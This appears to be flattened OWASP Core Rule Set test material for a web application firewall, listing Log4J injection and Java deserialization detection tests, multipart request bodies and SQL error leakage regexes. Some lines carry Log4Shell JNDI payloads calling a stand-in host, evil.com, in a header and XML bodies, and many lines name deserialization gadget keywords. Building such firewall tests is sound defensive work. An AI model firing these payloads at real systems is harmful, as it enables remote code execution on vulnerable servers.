none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon


none urlDecodeUni jsDecode htmlEntityDecode


Request header test includes keyword rO0ABQ


XML attribute name includes keyword rO0ABQ


XML attribute value includes keyword rO0ABQ


XML element value includes keyword rO0ABQ


Nested XML element value includes keyword rO0ABQ


Content-Type text/plain includes keyword rO0ABQ


Content-Type application/json arg value includes keyword rO0ABQ


Content-Type application/json arg name includes keyword rO0ABQ


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"rO0ABQ": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword rO0ABQ


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"rO0ABQ": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword rO0ABQ


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">rO0ABQ</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword rO0ABQ


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">rO0ABQ</element></xml>
-----------------------------thisissparta--


Request header test includes keyword KztAAU


XML attribute name includes keyword KztAAU


XML attribute value includes keyword KztAAU


XML element value includes keyword KztAAU


Nested XML element value includes keyword KztAAU


Content-Type text/plain includes keyword KztAAU


Content-Type application/json arg value includes keyword KztAAU


Content-Type application/json arg name includes keyword KztAAU


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"KztAAU": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword KztAAU


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"KztAAU": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword KztAAU


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">KztAAU</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword KztAAU


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">KztAAU</element></xml>
-----------------------------thisissparta--


Request header test includes keyword Cs7QAF


XML attribute name includes keyword Cs7QAF


XML attribute value includes keyword Cs7QAF


XML element value includes keyword Cs7QAF


Nested XML element value includes keyword Cs7QAF


Content-Type text/plain includes keyword Cs7QAF


Content-Type application/json arg value includes keyword Cs7QAF


Content-Type application/json arg name includes keyword Cs7QAF


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"Cs7QAF": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg name includes keyword Cs7QAF


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/json

{"Cs7QAF": "test"}
-----------------------------thisissparta--

Content-Type multipart/form-data json arg value includes keyword Cs7QAF


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">Cs7QAF</element></xml>
-----------------------------thisissparta--

Content-Type multipart/form-data XML element value includes keyword Cs7QAF


-----------------------------thisissparta
Content-Disposition: form-data; name="payload"
Content-Type: application/xml

<?xml version="1.0"?><xml><element attribute_name="attribute_value">Cs7QAF</element></xml>
-----------------------------thisissparta--


Argument test includes keyword runtime.clonetransformer


Argument name includes keyword runtime.clonetransformer


Cookie test includes keyword runtime.clonetransformer


Cookie name includes keyword runtime.clonetransformer


Request header test includes keyword runtime.clonetransformer


XML attribute value includes keyword runtime.clonetransformer


XML element value includes keyword runtime.clonetransformer


Nested XML element value includes keyword runtime.clonetransformer


Content-Type text/plain includes keyword runtime.clonetransformer


Content-Type application/json arg value includes keyword runtime.clonetransformer


Content-Type application/json arg name includes keyword runtime.clonetransformer


Argument test includes keyword runtime.forclosure


Argument name includes keyword runtime.forclosure


Cookie test includes keyword runtime.forclosure


Cookie name includes keyword runtime.forclosure


Request header test includes keyword runtime.forclosure


XML attribute value includes keyword runtime.forclosure


XML element value includes keyword runtime.forclosure


Nested XML element value includes keyword runtime.forclosure


Content-Type text/plain includes keyword runtime.forclosure


Content-Type application/json arg value includes keyword runtime.forclosure


Content-Type application/json arg name includes keyword runtime.forclosure


Argument test includes keyword runtime.instantiatefactory


Argument name includes keyword runtime.instantiatefactory


Cookie test includes keyword runtime.instantiatefactory


Cookie name includes keyword runtime.instantiatefactory


Request header test includes keyword runtime.instantiatefactory


XML attribute value includes keyword runtime.instantiatefactory


XML element value includes keyword runtime.instantiatefactory


Nested XML element value includes keyword runtime.instantiatefactory


Content-Type text/plain includes keyword runtime.instantiatefactory


Content-Type application/json arg value includes keyword runtime.instantiatefactory


Content-Type application/json arg name includes keyword runtime.instantiatefactory


Argument test includes keyword runtime.instantiatetransformer


Argument name includes keyword runtime.instantiatetransformer


Cookie test includes keyword runtime.instantiatetransformer


Cookie name includes keyword runtime.instantiatetransformer


Request header test includes keyword runtime.instantiatetransformer


XML attribute value includes keyword runtime.instantiatetransformer


XML element value includes keyword runtime.instantiatetransformer


Nested XML element value includes keyword runtime.instantiatetransformer


Content-Type text/plain includes keyword runtime.instantiatetransformer


Content-Type application/json arg value includes keyword runtime.instantiatetransformer


Content-Type application/json arg name includes keyword runtime.instantiatetransformer


Argument test includes keyword runtime.invokertransformer


Argument name includes keyword runtime.invokertransformer


Cookie test includes keyword runtime.invokertransformer


Cookie name includes keyword runtime.invokertransformer


Request header test includes keyword runtime.invokertransformer


XML attribute value includes keyword runtime.invokertransformer


XML element value includes keyword runtime.invokertransformer


Nested XML element value includes keyword runtime.invokertransformer


Content-Type text/plain includes keyword runtime.invokertransformer


Content-Type application/json arg value includes keyword runtime.invokertransformer


Content-Type application/json arg name includes keyword runtime.invokertransformer


Argument test includes keyword runtime.prototypeclonefactory


Argument name includes keyword runtime.prototypeclonefactory


Cookie test includes keyword runtime.prototypeclonefactory


Cookie name includes keyword runtime.prototypeclonefactory


Request header test includes keyword runtime.prototypeclonefactory


XML attribute value includes keyword runtime.prototypeclonefactory


XML element value includes keyword runtime.prototypeclonefactory


Nested XML element value includes keyword runtime.prototypeclonefactory


Content-Type text/plain includes keyword runtime.prototypeclonefactory


Content-Type application/json arg value includes keyword runtime.prototypeclonefactory


Content-Type application/json arg name includes keyword runtime.prototypeclonefactory


Argument test includes keyword runtime.prototypeserializationfactory


Argument name includes keyword runtime.prototypeserializationfactory


Cookie test includes keyword runtime.prototypeserializationfactory


Cookie name includes keyword runtime.prototypeserializationfactory


Request header test includes keyword runtime.prototypeserializationfactory


XML attribute value includes keyword runtime.prototypeserializationfactory


XML element value includes keyword runtime.prototypeserializationfactory


Nested XML element value includes keyword runtime.prototypeserializationfactory


Content-Type text/plain includes keyword runtime.prototypeserializationfactory


Content-Type application/json arg value includes keyword runtime.prototypeserializationfactory


Content-Type application/json arg name includes keyword runtime.prototypeserializationfactory


Argument test includes keyword runtime.whileclosure


Argument name includes keyword runtime.whileclosure


Cookie test includes keyword runtime.whileclosure


Cookie name includes keyword runtime.whileclosure


Request header test includes keyword runtime.whileclosure


XML attribute value includes keyword runtime.whileclosure


XML element value includes keyword runtime.whileclosure


Nested XML element value includes keyword runtime.whileclosure


Content-Type text/plain includes keyword runtime.whileclosure


Content-Type application/json arg value includes keyword runtime.whileclosure


Content-Type application/json arg name includes keyword runtime.whileclosure


Argument test includes keyword java.evil.runtime


Argument name includes keyword java.evil.runtime


Cookie test includes keyword java.evil.runtime


Cookie name includes keyword java.evil.runtime


Request header test includes keyword java.evil.runtime


XML attribute value includes keyword java.evil.runtime


XML element value includes keyword java.evil.runtime


Nested XML element value includes keyword java.evil.runtime


Content-Type text/plain includes keyword java.evil.runtime


Content-Type application/json arg value includes keyword java.evil.runtime


Content-Type application/json arg name includes keyword java.evil.runtime


Argument test includes keyword java.evil.processbuilder


Argument name includes keyword java.evil.processbuilder


Cookie test includes keyword java.evil.processbuilder


Cookie name includes keyword java.evil.processbuilder


Request header test includes keyword java.evil.processbuilder


XML attribute value includes keyword java.evil.processbuilder


XML element value includes keyword java.evil.processbuilder


Nested XML element value includes keyword java.evil.processbuilder


Content-Type text/plain includes keyword java.evil.processbuilder


Content-Type application/json arg value includes keyword java.evil.processbuilder


Content-Type application/json arg name includes keyword java.evil.processbuilder


Argument test includes keyword cnVudGltZQ


Argument name includes keyword cnVudGltZQ


XML attribute value includes keyword cnVudGltZQ


XML element value includes keyword cnVudGltZQ


Nested XML element value includes keyword cnVudGltZQ


Content-Type text/plain includes keyword cnVudGltZQ


Content-Type application/json arg value includes keyword cnVudGltZQ


Content-Type application/json arg name includes keyword cnVudGltZQ


Argument test includes keyword HJ1bnRpbWU


Argument name includes keyword HJ1bnRpbWU


XML attribute value includes keyword HJ1bnRpbWU


XML element value includes keyword HJ1bnRpbWU


Nested XML element value includes keyword HJ1bnRpbWU


Content-Type text/plain includes keyword HJ1bnRpbWU


Content-Type application/json arg value includes keyword HJ1bnRpbWU


Content-Type application/json arg name includes keyword HJ1bnRpbWU


Argument test includes keyword BydW50aW1l


Argument name includes keyword BydW50aW1l


XML attribute value includes keyword BydW50aW1l


XML element value includes keyword BydW50aW1l


Nested XML element value includes keyword BydW50aW1l


Content-Type text/plain includes keyword BydW50aW1l


Content-Type application/json arg value includes keyword BydW50aW1l


Content-Type application/json arg name includes keyword BydW50aW1l


Argument test includes keyword cHJvY2Vzc2J1aWxkZXI


Argument name includes keyword cHJvY2Vzc2J1aWxkZXI


XML attribute value includes keyword cHJvY2Vzc2J1aWxkZXI


XML element value includes keyword cHJvY2Vzc2J1aWxkZXI


Nested XML element value includes keyword cHJvY2Vzc2J1aWxkZXI


Content-Type text/plain includes keyword cHJvY2Vzc2J1aWxkZXI


Content-Type application/json arg value includes keyword cHJvY2Vzc2J1aWxkZXI


Content-Type application/json arg name includes keyword cHJvY2Vzc2J1aWxkZXI


Argument test includes keyword HByb2Nlc3NidWlsZGVy


Argument name includes keyword HByb2Nlc3NidWlsZGVy


XML attribute value includes keyword HByb2Nlc3NidWlsZGVy


XML element value includes keyword HByb2Nlc3NidWlsZGVy


Nested XML element value includes keyword HByb2Nlc3NidWlsZGVy


Content-Type text/plain includes keyword HByb2Nlc3NidWlsZGVy


Content-Type application/json arg value includes keyword HByb2Nlc3NidWlsZGVy


Content-Type application/json arg name includes keyword HByb2Nlc3NidWlsZGVy


Argument test includes keyword Bwcm9jZXNzYnVpbGRlcg


Argument name includes keyword Bwcm9jZXNzYnVpbGRlcg


XML attribute value includes keyword Bwcm9jZXNzYnVpbGRlcg


XML element value includes keyword Bwcm9jZXNzYnVpbGRlcg


Nested XML element value includes keyword Bwcm9jZXNzYnVpbGRlcg


Content-Type text/plain includes keyword Bwcm9jZXNzYnVpbGRlcg


Content-Type application/json arg value includes keyword Bwcm9jZXNzYnVpbGRlcg


Content-Type application/json arg name includes keyword Bwcm9jZXNzYnVpbGRlcg


Argument test includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Argument name includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


XML attribute value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


XML element value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Nested XML element value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Content-Type text/plain includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Content-Type application/json arg value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Content-Type application/json arg name includes keyword Y2xvbmV0cmFuc2Zvcm1lcg


Argument test includes keyword GNsb25ldHJhbnNmb3JtZXI


Argument name includes keyword GNsb25ldHJhbnNmb3JtZXI


XML attribute value includes keyword GNsb25ldHJhbnNmb3JtZXI


XML element value includes keyword GNsb25ldHJhbnNmb3JtZXI


Nested XML element value includes keyword GNsb25ldHJhbnNmb3JtZXI


Content-Type text/plain includes keyword GNsb25ldHJhbnNmb3JtZXI


Content-Type application/json arg value includes keyword GNsb25ldHJhbnNmb3JtZXI


Content-Type application/json arg name includes keyword GNsb25ldHJhbnNmb3JtZXI


Argument test includes keyword BjbG9uZXRyYW5zZm9ybWVy


Argument name includes keyword BjbG9uZXRyYW5zZm9ybWVy


XML attribute value includes keyword BjbG9uZXRyYW5zZm9ybWVy


XML element value includes keyword BjbG9uZXRyYW5zZm9ybWVy


Nested XML element value includes keyword BjbG9uZXRyYW5zZm9ybWVy


Content-Type text/plain includes keyword BjbG9uZXRyYW5zZm9ybWVy


Content-Type application/json arg value includes keyword BjbG9uZXRyYW5zZm9ybWVy


Content-Type application/json arg name includes keyword BjbG9uZXRyYW5zZm9ybWVy


Argument test includes keyword Zm9yY2xvc3VyZQ


Argument name includes keyword Zm9yY2xvc3VyZQ


XML attribute value includes keyword Zm9yY2xvc3VyZQ


XML element value includes keyword Zm9yY2xvc3VyZQ


Nested XML element value includes keyword Zm9yY2xvc3VyZQ


Content-Type text/plain includes keyword Zm9yY2xvc3VyZQ


Content-Type application/json arg value includes keyword Zm9yY2xvc3VyZQ


Content-Type application/json arg name includes keyword Zm9yY2xvc3VyZQ


Argument test includes keyword GZvcmNsb3N1cmU


Argument name includes keyword GZvcmNsb3N1cmU


XML attribute value includes keyword GZvcmNsb3N1cmU


XML element value includes keyword GZvcmNsb3N1cmU


Nested XML element value includes keyword GZvcmNsb3N1cmU


Content-Type text/plain includes keyword GZvcmNsb3N1cmU


Content-Type application/json arg value includes keyword GZvcmNsb3N1cmU


Content-Type application/json arg name includes keyword GZvcmNsb3N1cmU


Argument test includes keyword Bmb3JjbG9zdXJl


Argument name includes keyword Bmb3JjbG9zdXJl


XML attribute value includes keyword Bmb3JjbG9zdXJl


XML element value includes keyword Bmb3JjbG9zdXJl


Nested XML element value includes keyword Bmb3JjbG9zdXJl


Content-Type text/plain includes keyword Bmb3JjbG9zdXJl


Content-Type application/json arg value includes keyword Bmb3JjbG9zdXJl


Content-Type application/json arg name includes keyword Bmb3JjbG9zdXJl


Argument test includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Argument name includes keyword aW5zdGFudGlhdGVmYWN0b3J5


XML attribute value includes keyword aW5zdGFudGlhdGVmYWN0b3J5


XML element value includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Nested XML element value includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Content-Type text/plain includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Content-Type application/json arg value includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Content-Type application/json arg name includes keyword aW5zdGFudGlhdGVmYWN0b3J5


Argument test includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Argument name includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


XML attribute value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


XML element value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Nested XML element value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Content-Type text/plain includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Content-Type application/json arg value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Content-Type application/json arg name includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ


Argument test includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Argument name includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


XML attribute value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


XML element value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Nested XML element value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Content-Type text/plain includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Content-Type application/json arg value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Content-Type application/json arg name includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk


Argument test includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Argument name includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


XML attribute value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


XML element value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Nested XML element value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Content-Type text/plain includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Content-Type application/json arg value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Content-Type application/json arg name includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg


Argument test includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Argument name includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


XML attribute value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


XML element value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Nested XML element value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Content-Type text/plain includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Content-Type application/json arg value includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Content-Type application/json arg name includes keyword Gluc3RhbnRpYXRldHJhbnNmb3JtZXI


Argument test includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Argument name includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


XML attribute value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


XML element value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Nested XML element value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Content-Type text/plain includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Content-Type application/json arg value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Content-Type application/json arg name includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy


Argument test includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Argument name includes keyword aW52b2tlcnRyYW5zZm9ybWVy


XML attribute value includes keyword aW52b2tlcnRyYW5zZm9ybWVy


XML element value includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Nested XML element value includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Content-Type text/plain includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Content-Type application/json arg value includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Content-Type application/json arg name includes keyword aW52b2tlcnRyYW5zZm9ybWVy


Argument test includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Argument name includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


XML attribute value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


XML element value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Nested XML element value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Content-Type text/plain includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Content-Type application/json arg value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Content-Type application/json arg name includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg


Argument test includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Argument name includes keyword BpbnZva2VydHJhbnNmb3JtZXI


XML attribute value includes keyword BpbnZva2VydHJhbnNmb3JtZXI


XML element value includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Nested XML element value includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Content-Type text/plain includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Content-Type application/json arg value includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Content-Type application/json arg name includes keyword BpbnZva2VydHJhbnNmb3JtZXI


Argument test includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Argument name includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


XML attribute value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


XML element value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Nested XML element value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Content-Type text/plain includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Content-Type application/json arg value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Content-Type application/json arg name includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5


Argument test includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Argument name includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


XML attribute value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


XML element value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Nested XML element value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Content-Type text/plain includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Content-Type application/json arg value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Content-Type application/json arg name includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ


Argument test includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Argument name includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


XML attribute value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


XML element value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Nested XML element value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Content-Type text/plain includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Content-Type application/json arg value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Content-Type application/json arg name includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk


Argument test includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Argument name includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


XML attribute value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


XML element value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Nested XML element value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Content-Type text/plain includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Content-Type application/json arg value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Content-Type application/json arg name includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk


Argument test includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Argument name includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


XML attribute value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


XML element value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Nested XML element value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Content-Type text/plain includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Content-Type application/json arg value includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Content-Type application/json arg name includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5


Argument test includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Argument name includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


XML attribute value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


XML element value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Nested XML element value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Content-Type text/plain includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Content-Type application/json arg value includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Content-Type application/json arg name includes keyword Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ


Argument test includes keyword d2hpbGVjbG9zdXJl


Argument name includes keyword d2hpbGVjbG9zdXJl


XML attribute value includes keyword d2hpbGVjbG9zdXJl


XML element value includes keyword d2hpbGVjbG9zdXJl


Nested XML element value includes keyword d2hpbGVjbG9zdXJl


Content-Type text/plain includes keyword d2hpbGVjbG9zdXJl


Content-Type application/json arg value includes keyword d2hpbGVjbG9zdXJl


Content-Type application/json arg name includes keyword d2hpbGVjbG9zdXJl


Argument test includes keyword HdoaWxlY2xvc3VyZQ


Argument name includes keyword HdoaWxlY2xvc3VyZQ


XML attribute value includes keyword HdoaWxlY2xvc3VyZQ


XML element value includes keyword HdoaWxlY2xvc3VyZQ


Nested XML element value includes keyword HdoaWxlY2xvc3VyZQ


Content-Type text/plain includes keyword HdoaWxlY2xvc3VyZQ


Content-Type application/json arg value includes keyword HdoaWxlY2xvc3VyZQ


Content-Type application/json arg name includes keyword HdoaWxlY2xvc3VyZQ


Argument test includes keyword B3aGlsZWNsb3N1cmU


Argument name includes keyword B3aGlsZWNsb3N1cmU


XML attribute value includes keyword B3aGlsZWNsb3N1cmU


XML element value includes keyword B3aGlsZWNsb3N1cmU


Nested XML element value includes keyword B3aGlsZWNsb3N1cmU


Content-Type text/plain includes keyword B3aGlsZWNsb3N1cmU


Content-Type application/json arg value includes keyword B3aGlsZWNsb3N1cmU


Content-Type application/json arg name includes keyword B3aGlsZWNsb3N1cmU


none urlDecodeUni jsDecode htmlEntityDecode


OWASP CRS test agent ${jndi:ldap://evil.com/webshell}

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag attribute="${jndi:ldap://evil.com/webshell}"/>

none urlDecodeUni jsDecode htmlEntityDecode


<?xml version="1.0" encoding="UTF-8" standalone="yes"?><tag>"${jndi:ldap://evil.com/webshell}"</tag>

none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on arg foo, with Unicode escape encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, uppercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, lowercase


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, lower case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, upper case


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9


none urlDecodeUni jsDecode htmlEntityDecode

Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon


none urlDecodeUni jsDecode htmlEntityDecode


none urlDecodeUni jsDecode htmlEntityDecode


{"body":"[match sql-errors.data]the used select statements have different number of columns[/match]: [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression"}

(?i:JET Database Engine|Access Database Engine|\[Microsoft\]\[ODBC Microsoft Access Driver\])

Matching Microsoft Access SQL Information Leakage


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: SQL Error: ORA-00933: SQL command not properly ended"}


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: DB2 SQL Error: SQLCODE=-104, SQLSTATE=42601, SQLERRMC=DECLARE"}

(?i:DB2 SQL error:|\[IBM\]\[CLI Driver\]\[DB2/6000\]|CLI Driver.*DB2|DB2 SQL error|db2_\w+\()


